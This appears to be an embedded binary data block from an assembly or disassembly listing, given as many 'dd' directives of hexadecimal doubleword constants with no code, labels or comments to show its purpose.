		dd 0D726812h, 5900A2EAh, 42CE4DB6h, 3050CE6h, 1CDA0849h
		dd 20D85B14h, 76002734h, 402D4258h, 0C1F041h, 3905E624h
		dd 5312EF97h, 0FB005DECh, 4945D733h, 15C940Fh, 810834B0h
		dd 0F025BFC6h, 24000901h, 28007F2h, 1EE231h, 0D6D3E30Bh
		dd 32A221E6h, 907C4A00h, 0B833F934h, 0F86A1E42h, 0C910170h
		dd 6FDE1A9Fh, 16E06E00h, 28E7EDh, 0FB5230F3h, 8DBC6B2Eh
		dd 0AA77DE0Fh, 10476068h, 3956CE2Ah, 1F764D5h, 9A531EE7h
		dd 6011F121h, 6A0434A5h, 543AA074h, 0A18E4BC1h,	42F3C8h
		dd 1E0FE368h, 84F2E8B2h, 38FA3000h, 9C2351FBh, 321100AAh
		dd 8E501847h, 0E1EEA1F1h, 4A8F0700h, 46D6FCCEh,	20BC001Ch
		dd 6FCCFB87h, 0D51E28C8h, 23002C90h, 34435E30h,	8D3800FCh
		dd 0B21A3CF9h, 64001F40h, 48C86B44h, 244C917Fh,	9223BFh
		dd 55AD5442h, 0C60372F8h, 0CFA0B58h, 0AA5A98A5h, 0E5C800F6h
		dd 6F32255Ch, 84B853F8h, 6029BE03h, 0F0F6A92Eh,	4C96F0AAh
		dd 363F7FC2h, 0F9E2F483h, 68C8BE4Eh, 0F000522Eh, 598D6CE8h
		dd 0B70F70h, 7890DD28h,	58877CFBh, 0BF24B401h, 0F3A7CCF2h
		dd 726A21ECh, 5DF60384h, 1C8862B2h, 0F4D3F9E9h,	0CA3E8C72h
		dd 0BE32BEFCh, 0FFA58090h, 0A21B94D1h, 44350098h, 0A0887A9Ch
		dd 0A40310D5h, 11425FBAh, 0F7DCC8E9h, 84670E92h, 0FD40A835h
		dd 0AB05487Bh, 7DDF5D12h, 0E8CC00AFh, 3B0CDBF5h, 2DAC4400h
		dd 6FE60B27h, 331F0BEh,	1CDD2E72h, 0F1A887B0h, 0EF00AE5Dh
		dd 60B5412Ah, 3CF059C6h, 280047FBh, 0CB1B4D72h,	0A84803DCh
		dd 0A4E9036Eh, 0F004255Fh, 316B8ECh, 0F6542191h, 0BCB185DDh
		dd 0DCB771ABh, 7F01C0C8h, 0E4DE4F88h, 48F7AC4h,	1DA032F1h
		dd 1660C5E2h, 0ACCC431Dh, 81DE42CFh, 3788D5D0h,	3FD43280h
		dd 72DF70C4h, 623DD800h, 0DC19F29Bh, 0E6F1010Eh, 0E0210B61h
		dd 0D003CDD6h, 6A00E464h, 77DF58C4h, 1FF63FA2h,	8091621Fh
		dd 0B11EEC39h, 0C58F3BCh, 7780BCAh, 0F4870063h,	2C4ABAh
		dd 886F883h, 0CA62C1D6h, 0FC957703h, 0F08BD235h, 1D0105E7h
		dd 0C3A33174h, 3994DAEDh, 575DD797h, 2EA5C208h,	10CCBE0h
		dd 10C46B1Dh, 14C83F02h, 0AA34C0F5h, 0FC1C0221h, 0C6E92046h
		dd 828F584h, 0FE30002Ch, 46743423h, 3CA83800h, 1A40518Fh
		dd 35441FA2h, 0B4098F12h, 0BB7374E0h, 0DE005020h, 11C2FB0Dh
		dd 5B5458h, 2C7B1BEBh, 48C481D8h, 2879BD00h, 7FC8FCCBh
		dd 8B1C09CCh, 0DDD402h,	803FB9B4h, 88FC31h, 86E0B54h, 0EA7585C1h
		dd 0D16AFE00h, 24483266h, 0E27F00E7h, 15FF02ECh, 42756338h
		dd 741F1A7Ah, 840111DCh, 0E4BAC766h, 1E90ECh, 0FF5014E3h
		dd 0C1E0166Fh, 3205C000h, 49420902h, 7DF60075h,	0F1FF1B0Eh
		dd 0C01F8330h, 0D2C00A80h, 0E3672674h, 21230054h, 0DB310353h
		dd 302F1A8Ah, 16DD4C3h,	332F6225h, 0AF1870FBh, 5F5CC600h
		dd 305BEB29h, 82960136h, 7E908173h, 3B8ECE3h, 3C01AF98h
		dd 0C6BFC241h, 7DC06BCh, 9C70038h, 0CC5C105h, 1717E29h
		dd 87C0CC3Bh, 0CD410D80h, 7C10F60h, 0CE810ECFh,	0AC30E40h
		dd 0CB90CA87h, 11E0B80h, 9DDC0C9h, 0C84108C7h, 18F7D8F7h
		dd 0D9671947h, 0DBC11B00h, 0DA1C2881h, 21E67EBh, 0DF47DEh
		dd 0C0DD011Fh, 71881D5Ch, 1DC4138h, 81D4C114h, 15C040D5h
		dd 0C0D70001h, 41168017h, 0D2E4D678h, 13EC12E8h, 2D37000h
		dd 81D1C111h, 0E0400CD0h, 309AF05Fh, 0F141F5A0h, 0C13033E0h
		dd 40F28AF3h, 361E3932h, 0F738F63Ah, 0F5013702h, 340135C0h
		dd 3CC0F441h, 81FC10C1h, 13D04FDh, 2083C0FFh, 0FE8A393Eh
		dd 3A3BFA3Ah, 0FB703B00h, 0F9C13901h, 40F8810Eh, 8128CE38h
		dd 41E677D9h, 0EBC829FDh, 802B07C0h, 25EAE12Ah,	1F0FAEEEh
		dd 0C0EF0F2Fh, 0ED0BC12Dh, 78EC6381h, 24DBE456h, 41259A00h
		dd 12713E5h, 0E6810084h, 22C12640h, 0E10AF631h,	0E723E0E3h
		dd 21C0033Bh, 0D7412080h, 60F7A0D7h, 0A1D761B7h, 0EF0063E5h
		dd 40A281A3h, 97762h, 0A787A629h, 0A5016780h, 64DC6581h
		dd 0EA47041h, 81ACC16Ch, 6D40AD00h, 0C001AF01h,	6E1E806Fh
		dd 0AAD1AE41h, 6BE06AD9h, 0AB701Ch, 81A9C169h, 687040A8h
		dd 0B8027867h, 7900B947h, 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh
		dd 7F0E7EBBh, 7D00BF70h, 0BC81BDC1h, 0DE7C4030h, 2674C0B4h
		dd 3BE17580h, 0B7CE7730h, 403BB681h, 87720E76h,	80B340B2h
		dd 81B10173h, 4170DC71h, 5010B070h, 910090C1h, 93015140h
		dd 528053C0h, 76927441h, 1C567896h, 1971C57h, 8195C155h
		dd 54CD4094h, 0C0019C01h, 415D805Ch, 5FE49D70h,	819F07C1h
		dd 615E409Eh, 0C89AE15Ah, 5B60E09Bh, 59C099BEh,	41581F80h
		dd 0DD88DF98h, 9F491D48h, 0CE4B9889h, 8A1D818Bh, 4E874A40h
		dd 8F208E87h, 40014F80h, 4CEE4D8Dh, 88C4138h, 0B84C144h
		dd 0B1814085h, 8747C087h, 864146CEh, 42678247h,	831C4380h
		dd 0C19C003Dh, 38EC6681h, 7C07A8DBh, 0E389520Fh, 9CFCE410h
		dd 0C158388Bh, 104359Dh, 899D505Dh, 0DFA03016h,	0C21E927Ch
		dd 204099B2h
		dd 904210Ah, 5F531D0Eh,	0A20FC0C8h, 36E0882Ch, 5B013B18h
		dd 5ADC3Eh, 0C8E36E59h,	410EA582h, 3446161Dh, 3E0EACD8h
		dd 3EE42h, 2FE83D73h, 0A32827FEh, 7EAFEA16h, 0BAD91Fh
		dd 76D9C716h, 31EC13h, 1422C3EEh, 0C80C2038h, 16EE8C98h
		dd 0B3E41000h, 0F4154CF0h, 30F64Bh, 0A101B247h,	0E8217061h
		dd 6E1BBB1Eh, 0D63A9680h, 63CF2Ch, 56FF3083h, 0AD0F4B04h
		dd 6636E900h, 0E828141Ah, 5E1E00EBh, 0D060EEC6h, 51005652h
		dd 8EBAFC02h, 9C3B24h, 4D17C877h, 30AC0B0Ch, 0F5B0C200h
		dd 6738B82h, 9A8C0060h,	0C1A707F3h, 7503C8FEh, 0C9094981h
		dd 0DF6A9AD7h, 647FF8E0h, 69D64400h, 0FF9C181Fh, 75500079h
		dd 0EE10595Dh, 0AC074514h, 2FA83D05h, 25447EF0h, 4F61015Eh
		dd 0C86FF488h, 0FC0680F8h, 1F75F24Dh, 0CCD000D5h, 3B67AC55h
		dd 0A6007306h, 16C60FFh, 0E6E82B70h, 467B00D0h,	570CF8C9h
		dd 72075002h, 8DB38615h, 6FE82730h, 0EA42588Fh,	65315700h
		dd 0DB85D873h, 110076FCh, 0D13BCC5Eh, 2ED25274h, 0E77D6h
		dd 758D5713h, 0EB0002AEh, 1904B998h, 95F95Fh, 6A7A1E46h
		dd 0AE1F42B0h, 3D01C978h, 47CB80DFh, 76D0A201h,	2516001Dh
		dd 0C0FEB005h, 8C0E5567h, 0C0AA9854h, 5A38CAE9h, 8B28031Dh
		dd 0D3CCA396h, 29A9B388h, 80EC0C39h, 1E202E6Dh,	0E8D5F8h
		dd 99FFD271h, 88B83B75h, 50EAC702h, 0E37E5FFEh,	42588802h
		dd 0BD41006Ch, 2A3D7145h, 200DEE2h, 23D6F7F3h, 275DF2h
		dd 3920B22h, 767E1C6h, 40C3D500h, 0C28104FFh, 0D7720095h
		dd 0F8F1341Bh, 0AF00A438h, 0D339D05Bh, 7F9475C1h, 4D2E0390h
		dd 5C258908h, 71F246F0h, 0A5F34B00h, 0CE398E91h, 112E00C1h
		dd 82F7CAABh, 0C3008130h, 65C9C455h, 0EF039F1h,	0CFF9BAB0h
		dd 0F1E7DEC7h, 0D8D95616h, 5071025h, 6F4AC15Ch,	3A144143h
		dd 0F01EBACAh, 18A886F7h, 0B33C4E82h, 1C0374A5h, 0AC25AE12h
		dd 2063C72Eh, 0A4102005h, 950F24EEh, 0FD299D71h, 0AB042800h
		dd 0FF4B9689h, 0C89BEF71h, 30B3718Fh, 10878021h, 52801E34h
		dd 938013Ah, 97791257h,	0F3C10E0h, 9472B84Ah, 0DE041DFDh
		dd 8A6A0005h, 0FA9553F2h, 448C64DEh, 1F22A618h,	8FA5F163h
		dd 9C362F9h, 92072C11h,	0A9F35C88h, 0E858FBD3h,	0C3E1840Eh
		dd 2856901Ah, 0C3A4F8F0h, 141EEB67h, 2305EAF3h,	47914EDAh
		dd 40443C20h, 0CA106141h, 86164839h, 524A1CEh, 6F315314h
		dd 20C897Ah, 48202523h,	0C3001CBCh, 0E9880534h,	43AD0677h
		dd 4108A28Ch, 811C0D44h, 2301206h, 0C901FF64h, 90E04D09h
		dd 33F200F7h, 0F350F172h, 84000469h, 0B22A2041h, 296EECh
		dd 1263F04Ah, 0AAB0740Bh, 0B9E1C91Fh, 6B002812h, 38201042h
		dd 0D6591F95h, 0A1880336h, 13B01757h, 0CA7EAC4Ah, 1003A2F0h
		dd 0BF925509h, 0BAAAC1B4h, 0AD3F90BBh, 2C2864FEh, 84A403A9h
		dd 9D6A1F1Dh, 0BD70D95Ah, 0C2D9093h, 18598832h,	90067D24h
		dd 713F8CE3h, 3044802Bh, 6625AB12h, 0C83CFE68h,	8905B4Bh
		dd 0A5185020h, 4576D4C4h, 0BCB0424h, 0C1F15ECAh, 708806A1h
		dd 3A3D56ABh, 313F46h, 165BF362h, 1E7F740Ah, 5F2FC8AAh
		dd 0F08E80D9h, 110F5D42h, 1C041433h, 0F2D4D324h, 5F9C808Dh
		dd 63E61559h, 78189C92h, 0D230CCAh, 8921BDAFh, 0E2F89502h
		dd 12E6C304h, 0B8F9BCF7h, 0EB51F0B4h, 0C43E2B7Fh, 25AA8C3Ch
		dd 80184AE0h, 3488D544h, 0CAA8204Ah, 7F2E148h, 57BEA22Ah
		dd 54C221F9h, 0F1FC4AB3h, 89B0C308h, 91FC5EA8h,	9E9D51E0h
		dd 1804168h, 4A3CB06h, 84E07A9h, 500C56E0h, 0F4B8745Dh
		dd 430D6800h, 0D0388817h, 7685EA14h, 0DCEE0044h, 0C91621C0h
		dd 0FF7C4674h, 3EEA5E2Eh, 1C1F700h, 741CD9Eh, 0D1048A49h
		dd 300A7332h, 3BF90FC3h, 3CE9E827h, 4002D907h, 66D00D18h
		dd 74048B1Dh, 1E331C4Eh, 80899F4Ah, 83A52E4Fh, 203E0C66h
		dd 8A61808Eh, 0F2EB8F1Ch, 0EE881E45h, 44470399h, 9CF0E169h
		dd 483AA63Bh, 0A9218057h, 0B0683CE4h, 647585h, 0B80A7320h
		dd 55357469h, 0C305E901h, 0B448F87Eh, 47CCEC40h, 0A95A00C5h
		dd 9E159204h, 8B308D5Bh, 123BB222h, 95D300BCh, 5083440Dh
		dd 0FE03380Fh, 17045257h, 8908A314h, 0F7F8F070h, 119A00CAh
		dd 275C08Bh, 15392B94h,	9E059CA9h, 0FE081380h, 749CB254h
		dd 61800E1h, 2F23B459h,	0FA03A25Ch, 6445A88Bh, 71C59088h
		dd 804D01C3h, 8F26A69h,	172DE4D3h, 5D277005h, 0F1ACBCB4h
		dd 2B157300h, 0CBF956FBh, 0A4E37A00h, 1C071B12h, 0DE98004Eh
		dd 0C8EB722Ah, 7300CF26h, 0D0AC795Eh, 0F7D51A2h, 1AA42BDBh
		dd 19582163h, 60E4D7D1h, 17039156h, 4FA9A276h, 0F85FC30Bh
		dd 788AE7Eh, 0D1BE5355h, 1BEC80E8h, 5E005B2Fh, 0E2F77208h
		dd 1E5FDC8h, 5181AD1Fh,	6132B9C6h, 0F18CC8C0h, 36F02200h
		dd 0D01931BBh, 0F56D0EF8h, 50C18624h, 0E4F49A52h, 5600F203h
		dd 9636641h, 1D4B9085h,	9DBFFB83h, 948F00ACh, 0FA71EA55h
		dd 0F0F27A00h, 7B9B1028h, 14030F3Bh, 0AE611872h, 0CC51B375h
		dd 1002372Ch, 0F3F0344Fh, 0FEE340A6h, 89F400E3h, 2EBF804h
		dd 0C800C031h, 0BF841090h, 0C970F1h, 3C7FB12Bh,	1A961130h
		dd 41D24124h, 3DA5C100h, 7F349455h, 36640043h, 0F7C90F4h
		dd 1AFC54B6h, 4B0E9490h, 0C0F9D101h, 7C5D81C7h,	4CD701E2h
		dd 8DF42F65h, 0DFCBFCFEh, 0D54F850Fh, 0EB4BC0FFh, 1EB8B657h
		dd 80C69D6Bh, 0F4A74D1Dh, 91005ADCh, 580BC98Ah,	7402320h
		dd 151AD042h, 3DEB6013h, 1B04E57Ch, 8D78384Ah, 54704D87h
		dd 70486443h, 0EAD13F07h, 7CD28580h, 0B58AFA12h, 750B7800h
		dd 881E1C01h, 0E800318h, 4A02C083h, 91EF51E0h, 60BD3A03h
		dd 0D04BFCC8h, 3D49B13h, 6A2AC22h, 8DB1FDB4h, 0DA8BE4C0h
		dd 0F41246EEh, 0DF013926h, 30A58559h, 0C428C1EFh, 98C017D8h
		dd 8E02007Ch, 6854A118h, 0AC9083F6h, 85000F79h,	9541015Fh
		dd 39FD3B0h, 1913CC45h,	0A2900D66h, 4207D55Ch, 1A6CFD9Dh
		dd 68D103F0h, 0C0322E24h, 0C7C500EFh, 1F1EB5FFh, 1764DB00h
		dd 5A8C5452h, 0E5A400A8h, 34FB1056h, 0D7008209h, 85890147h
		dd 7598ABCh, 2F06BD83h,	91590FEh, 8B005184h, 1CEEAA41h
		dd 803108h, 9FA6C721h, 7C86C2FFh, 9715C800h, 0B80D55F9h
		dd 2FB90070h, 3E64B5E2h, 20048D0h, 27DC14B2h, 44B820h
		dd 50143D4h, 0B566281Bh, 830F3D05h, 0C1BE1CC6h,	8E431330h
		dd 0A03C6BC4h, 50887281h, 1F2F010Ch, 3916F76Ah,	8C8F878h
		dd 39A0200h, 80B96019h,	0C1FE00E2h, 0CAB1DFE7h,	440099A0h
		dd 35062005h, 3C3438Dh,	48777EB8h, 2C991F68h, 80CD4A5h
		dd 40D05900h, 0D250C653h, 0FD8A3AE7h, 0F6BF2780h, 0E0B41B4h
		dd 0E1230101h, 151DC384h, 7CF88F8h, 0B1E9EDA4h,	810FF9EEh
		dd 0D77C6880h, 0E8001748h, 0FD19E1F2h, 1560A1Dh, 463576DAh
		dd 0DC2A5420h, 250310B2h, 7475F8Bh, 0F156E06Ah,	3AC07788h
		dd 7FBD14Ah, 956EEB62h,	9D8B50CEh, 83184787h, 14D010F0h
		dd 0D4D63C97h, 0B0FE880h, 53D23E01h, 8A71CD00h,	0B78E13B9h
		dd 26100027h, 164AAB95h, 63EED84Eh, 0EC835707h,	89D1673Dh
		dd 0B5609940h, 0F27B0009h, 8435D337h, 49008FAEh, 0EC5EDD2Fh
		dd 2130879h, 982E8B5Ch,	0A5606353h, 0CC03A869h,	28853AF3h
		dd 435AE020h, 724000B8h, 58E14BECh, 0E244D2Ch, 56004441h
		dd 5357AED6h, 0D83900FAh
		dd 68518376h, 0CA00AD3Eh, 1E15587Dh, 23AC3h, 0A0149574h
		dd 637C0CACh, 0F0444007h, 805973BFh, 114BD920h,	0EFE3A69h
		dd 552D098Eh, 78FF3C3Eh, 23725C21h, 9A0AFF0Eh, 0EB50DA40h
		dd 591FB525h, 6F00794Ah, 50CE8EDh, 7112F675h, 784D00F8h
		dd 7CA85DF0h, 1F1345E1h, 260E7D0Eh, 4254C04Ch, 0EA9768h
		dd 5DEEE456h, 523CA546h, 4CC75700h, 8DF3C959h, 0BBF60054h
		dd 40E06BBAh, 0BF0B3CD5h, 0B59F9Ah, 44CE4653h, 6BF300B7h
		dd 0A2EEF47Bh, 2400D23Ch, 705C9D64h, 42C0B4h, 0E4534AFEh
		dd 8D6DD0AAh, 0D700C8FCh, 9772EF0Dh, 8FE8C3h, 98E0138h
		dd 2C03C766h, 43C2830Fh, 7F084106h, 3AD08107h, 0CCB00F0h
		dd 0E2EACBFh, 2014510h,	2D4C6A30h, 0B09FC32Bh, 132C0732h
		dd 121CF018h, 11C1D08h,	80B91E80h, 8B0EC020h, 31473h, 0EE930C69h
		dd 0F29FEDAh, 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h
		dd 80401C93h, 758D3803h, 0F9601317h, 2870A203h,	53620B72h
		dd 0CC80C214h, 55B39296h, 4A00DB79h, 541825BCh,	852120h
		dd 0A542F4ADh, 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch
		dd 1D453E9h, 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h
		dd 127113Ch, 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h
		dd 443D6C61h, 65768072h, 0EC749530h, 3A430E50h,	75A0CCB4h
		dd 6C118721h, 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh
		dd 0DB45C6E1h, 100009BFh, 404D8D43h, 50DA1463h,	0D9B45Ch
		dd 74C3FB3Ah, 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h
		dd 75804CFEh, 755A00F3h, 0E7F9DF5Fh, 550025DDh,	450F43Bh
		dd 1F84F335h, 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh
		dd 1F41F1h, 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h
		dd 0B8A02E0h, 3EF708BAh, 0EC55D660h, 0CA6C51Eh,	89F8F3CAh
		dd 0D9B47C01h, 50E46E53h, 232A0208h, 28877141h,	3B83FC80h
		dd 76B8D12Eh, 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h
		dd 8A7B1812h, 3A3901F2h, 0E758250h, 41020742h, 78E95303h
		dd 1CCBC4h, 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h
		dd 0FFC50F11h, 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h
		dd 0F84D0067h, 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h
		dd 311600CFh, 58633F23h, 6DF6D761h, 0FC55C000h,	8D95FA2Ch
		dd 91BD072Ah, 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h,	909C1FBCh
		dd 0AEAD0141h, 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah
		dd 0EC2CA7D4h, 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h
		dd 0E0F3CB9Ch, 440C2A20h, 5089077Ch, 51100DD1h,	61E91977h
		dd 0A6C3202Fh, 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh
		dd 0DAC043C1h, 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h
		dd 0E42CC8FCh, 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh
		dd 20E14E1h, 54B98Dh, 0AEF3FD4Fh, 790B8FCh, 1CA483ACh
		dd 0E9ABA204h, 70816641h, 4717BA62h, 0C50040A7h, 27A09184h
		dd 24F50774h, 0F8FA80h,	0FC1390Dh, 920060FEh, 1D495057h
		dd 8CFE89h, 0EE475DDBh,	159862B8h, 81268D7Dh, 1612E344h
		dd 0AE80841Fh, 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h
		dd 2300A56Ah, 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h
		dd 5C0038EEh, 0EA72A5EBh, 0E2D14B0h, 39FC5A61h,	905C7C0h
		dd 93E47648h, 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh
		dd 0C10074B1h, 3A77EF56h, 0A9D319h, 0EBE2BB0Dh,	4910434Fh
		dd 0DD07901Fh, 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch
		dd 0A316A80Fh, 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh
		dd 173936E9h, 95380C9h,	480F34C3h, 4CAE4C41h, 7794050Ch
		dd 830011BCh, 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h
		dd 0C201E300h, 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h
		dd 14012A07h, 3C203B11h, 1E4199F0h, 0C08944BEh,	1525F7FEh
		dd 0C3006978h, 3519010h, 0B823A905h, 495A038Eh,	7180A5C8h
		dd 790407E0h, 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h
		dd 0BA1C1318h, 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h
		dd 3D008BC5h, 0D43B060Eh, 7D485Ch, 82B13E2Ch, 1A72D939h
		dd 8D6C9000h, 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h
		dd 0E1541A00h, 7C8848A5h, 77190094h, 4CEFEA99h,	0FF073534h
		dd 4D21832h, 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh
		dd 0FA81F800h, 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch
		dd 0BB0EF43Dh, 27902023h, 3AF8F06Ah, 190096F9h,	0D5D20A0Ch
		dd 100E954h, 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh
		dd 2AC31000h, 3B558F8h,	33C812A0h, 8FF05DBh, 57A9019Fh
		dd 0FC2DE241h, 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh
		dd 87D5355Ah, 9D0088F1h, 0C8D0E44Ch, 184351C1h,	66085D3Bh
		dd 42001D40h, 0EFD6934Eh, 1F90ABDCh, 40106A12h,	3075448Dh
		dd 0AC09B93Fh, 9109B5h,	0F5EF123Eh, 8BF61EC4h, 0DD807E06h
		dd 0BE11F9ECh, 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h
		dd 0F8C7448Ch, 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h
		dd 0F72765C5h, 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh
		dd 158A0582h, 81615E4Ch, 0F00F1032h, 35170BC3h,	700F3C5h
		dd 0E37F02BAh, 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh
		dd 127B81h, 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h
		dd 124300E5h, 60890C24h, 0DF901A90h, 59EF1000h,	5D88A03h
		dd 352900CBh, 0BA37DCD2h, 7200DAC1h, 22124E1Fh,	1772110h
		dd 0C6F7690Dh, 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h
		dd 5E1D0064h, 913BA40h,	0E800CEFAh, 0F535AE4Ah,	53CCA9h
		dd 0D9D24EFFh, 897F4801h, 16C90A07h, 64C158FCh,	0E6600E19h
		dd 2833B32h, 3E92042Ch,	3B66A080h, 7127506h, 76C98500h
		dd 45BE8B20h, 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah
		dd 0D400EC0h, 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h
		dd 4790C362h, 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h
		dd 0F01F84h, 1DC8BD4Ch,	0FC485FB9h, 0EFE06B02h,	0F58E412Dh
		dd 344F9B40h, 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h
		dd 0A0380C4h, 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h
		dd 19FA00C4h, 1624DEC0h, 0B100DF77h, 9B7A8528h,	70CAA1Dh
		dd 899E2099h, 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h
		dd 320D0598h, 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh
		dd 1A6DC9h, 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h
		dd 0B02E7E1Ch, 7500F25Dh, 43C61611h, 28FB05h, 0C134E94Ah
		dd 0A282701Dh, 1C8E9507h, 857214C0h, 0D7C0C0D2h, 0B4481FA0h
		dd 5C80FAEAh, 0F78023Ah, 0F7008537h, 0B26BBA13h, 710D49Ch
		dd 80792075h, 1757D054h, 11001993h, 0D2515303h,	0A04D14h
		dd 0F78B4781h, 0D0AA4256h, 9EFFB300h, 0E8FCEF51h, 136100D3h
		dd 7F468A3Ch, 88050920h, 699D7F9h, 87578580h, 30871C2h
		dd 0A2B45005h, 604C6A8Eh, 4DE82C66h, 49271B00h,	0C0223Dh
		dd 0BAE12A76h, 0AA922E38h, 7B430700h, 0EE811EE0h, 971400A2h
		dd 754F8568h, 0A91328E2h, 6100CA21h, 951ABB92h,	610D0705h
		dd 50201253h, 915189D4h, 80D00E3Ch, 3C4F9BE8h, 1F7F55h
		dd 522228DCh
		dd 0A11392F0h, 0E6E55800h, 309419D1h, 21F53F59h, 0D740A00h
		dd 0ADD73C84h, 4300EC90h, 564B5E2Ah, 1C212C30h,	0DE1D5960h
		dd 40B51F5Bh, 792A4D6h,	2C037389h, 852E56DDh, 352DA0FCh
		dd 6B6C1EE9h, 0C0655D64h, 991257C2h, 0AB735B30h, 6800C4E8h
		dd 164E912Dh, 0AF6CB8h,	0C20B9557h, 0C050C194h,	2DAD2201h
		dd 49AC5C90h, 4021FD40h, 6C7002Ch, 2811D6D4h, 9B03CB42h
		dd 22431AFDh, 7AD998AAh, 4330093h, 3C60ABCh, 0C9009901h
		dd 6F8B29DEh, 75B9A609h, 116500A5h, 5B73A488h, 1AE626C7h
		dd 535D7401h, 41243EF9h, 0D794E8h, 8DD38549h, 0E8CB3122h
		dd 7B80BE1Eh, 4C7E04C0h, 1FBAE619h, 402F2BE1h, 0F62E284Ah
		dd 46FE2D42h, 52D6EE00h, 92B6E74Fh, 2AB3008Dh, 1CB95D65h
		dd 2E1F29C4h, 80E7438h,	4254C730h, 17AF9770h, 3F59FA90h
		dd 0EC00F7F0h, 0CF806A9h, 0E4008AF4h, 89FC7E5Fh, 0F100F41h
		dd 53A22F3Eh, 3B2C9FA0h, 8000550Eh, 0A9F752B9h,	77138B2Ah
		dd 1AA80796h, 0B008F49Fh, 4A95651Dh, 54855600h,	5E2F412Eh
		dd 6570E776h, 0AA810057h, 80744965h, 0BE0207F0h, 0EB0F0263h
		dd 0B24DE005h, 7F17F8C1h, 0EC880E11h, 29604276h, 5245CC6h
		dd 55455900h, 0EB3125B2h, 93AF00CAh, 5C7D1404h,	0E1002CBCh
		dd 100E2F71h, 77F1799Ch, 9A0A0078h, 0EC6EDF3Eh,	52000B44h
		dd 7367650Eh, 0EE9320h,	0D3815A84h, 9B64C883h, 71BF1800h
		dd 17514794h, 93F20052h, 31D0811Fh, 0F80039D2h,	41D7408h
		dd 5275F7h, 9A16B192h, 730A8BB0h, 806D400h, 95419FE8h
		dd 0B8495F01h, 0B87E007Eh, 9451A25Ch, 740C0018h, 76453AF4h
		dd 6F3ED5EFh, 0BD200735h, 95F00A9Eh, 3CE25EAh, 0DB481408h
		dd 0F7A0D81Eh, 3D00A5D0h, 8A9018A9h, 7BC8FE04h,	6CF100F6h
		dd 59AD14B9h, 107D865h,	0C7D8051h, 0BBF27F50h, 5AEB0039h
		dd 1FE81A03h, 0C8005220h, 0E224D455h, 0F45148Ah, 4D485D37h
		dd 0D03BA520h, 46BE5105h, 0D800912Eh, 46048D21h, 0AA9E00C0h
		dd 696FB20h, 0D900AB10h, 0FAEBFC4h, 98177504h, 95700023h
		dd 16F2B8D8h, 0BE005CD4h, 0F8573ECEh, 54964h, 0B814922Ah
		dd 6741526h, 5869A703h,	0D8D1D7C2h, 13F681Ch, 3323E1FDh
		dd 0D8458850h, 10FA03B2h, 48A05D3Dh, 7ED20333h,	0C0800F40h
		dd 704CA3Eh, 5E0E8803h,	304AC7C3h, 0C40C51F1h, 0B2262F07h
		dd 3A701B39h, 7A66320Eh, 2E467588h, 0E5F45Ah, 5DD05110h
		dd 0E800F83Eh, 0D825996Fh, 730BEE89h, 4FAE0h, 0C822B7Ch
		dd 265FAD56h, 2ACBC907h, 5B7046FBh, 16BD1A21h, 0D0A58h
		dd 1E8CED37h, 7800A06Bh, 0FF21CC43h, 274D10h, 60DEDF75h
		dd 7DF9B1E7h, 0A7B36400h, 0EB2AC154h, 24A90707h, 57EA5953h
		dd 0F57A501Fh, 84002065h, 2C413249h, 7944A0h, 70B8220Ah
		dd 62FB53BDh, 190507Fh,	3300A0FCh, 13156A8h, 200BE5h, 5C15D524h
		dd 6051F8C6h, 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h
		dd 10F28019h, 13001109h, 87D18512h, 0EE881848h,	44012C1Ch
		dd 57003F59h, 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh
		dd 503089D9h, 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h
		dd 0C36847C6h, 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h
